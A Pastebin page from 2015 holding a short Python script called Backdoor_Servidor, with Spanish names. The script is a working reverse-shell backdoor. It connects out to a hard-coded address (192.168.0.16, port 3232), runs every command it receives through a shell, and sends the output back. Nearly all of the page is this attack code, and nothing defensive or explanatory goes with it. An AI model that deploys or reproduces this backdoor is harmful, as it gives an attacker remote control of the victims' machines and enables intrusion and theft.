Advertisement
Guest User

server

a guest
Sep 18th, 2015
110
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.48 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. import socket
  4. import subprocess
  5. import sys
  6. import os
  7.  
  8.  
  9. class Backdoor_Servidor:
  10.     def __init__(self):
  11.         self.socket_s  = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  12.         self.socket_s.connect(("192.168.0.16", 3232))
  13. #        self.socket_s.listen(100)
  14. #        self.socket_c,(host_c,puerto_c) = self.socket_s.accept()
  15.         self.cmd = ''
  16.         self.loop()
  17.  
  18.     def salir(self):
  19.         self.socket_s.close()
  20.         sys.exit(1)
  21.  
  22.     def irA(self, cmd):
  23.         try:
  24.             cd,path = cmd.split(' ')
  25.         except:
  26.             self.socket_s.send('No se puede cambiar de directorio')
  27.             return
  28.         os.chdir(path)
  29.         self.cmd = 'pwd'
  30.  
  31.     def ejecutar(self, cmd):
  32.         try:
  33.             proc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
  34.             stdout_value = proc.stdout.read()
  35.             stdout_value += proc.stderr.read()
  36.             self.socket_s.send(stdout_value)
  37.         except Exception as e:
  38.             pass
  39.  
  40.     def loop(self):
  41.         proc = subprocess.Popen('gnome-terminal', shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
  42.         while True:
  43.             self.cmd  = self.socket_s.recv(2048)
  44.             if self.cmd == 'quit': self.salir()
  45.             if 'cd' in self.cmd: self.irA(self.cmd)
  46.             self.ejecutar(self.cmd)
  47.  
  48.  
  49. if __name__ == '__main__':
  50.     bd = Backdoor_Servidor()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement